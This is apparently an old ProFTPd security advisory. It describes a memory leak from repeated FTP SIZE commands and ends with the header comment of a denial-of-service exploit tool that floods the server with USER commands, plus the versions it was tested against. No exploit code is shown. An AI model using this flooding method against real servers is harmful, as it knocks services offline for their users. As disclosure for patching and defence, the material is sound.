A memory leak has been reported in all versions of ProFTPd.

The SIZE FTP command causes the server to misallocate and leak small amounts of memory each time the command is executed.

If a sufficient number of these commands are executed by the server, substantial amounts of system memory can be consumed, allowing a remote attacker to carry out a denial of service attack on the affected host.

This could be problematic if anonymous FTP is enabled or if a malicious local user has been supplied with an FTP login ID.

/*      ProFTPd DoS version 1.1
        Remote DoS in proFTPd

        Code by: JeT-Li         -The Wushu Master-      jet_li_man@yahoo.com

        Recently I posted a remote DoS for ProFTPd based in the multiple use
        of the SIZE command in order to crash the system. Now and thanks to
        the information provided by Wojciech Purczynski I have coded a
        program that not only use the SIZE command but also the USER command.
        So at this time access to the ftp is not necessary to manage a DoS
        attack. The concept is equal to the last exploit one, but using
        multiple USER instead of SIZE.

        You don't have to give arguments when you execute the program, it
        will request you these.

        Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
        hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
        the ppl of #hackers (not able for cardiac XD).

        Vulnerable systems:
        ProFTPd 1.2.0rc1        (Tested)
        ProFTPd 1.2.0rc2        (Tested)
        And maybe others(1.2.0preX); I have no test this, but I'm sure you
        can do it for me ;-)
        NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
        Wojciech Purczynski ... */
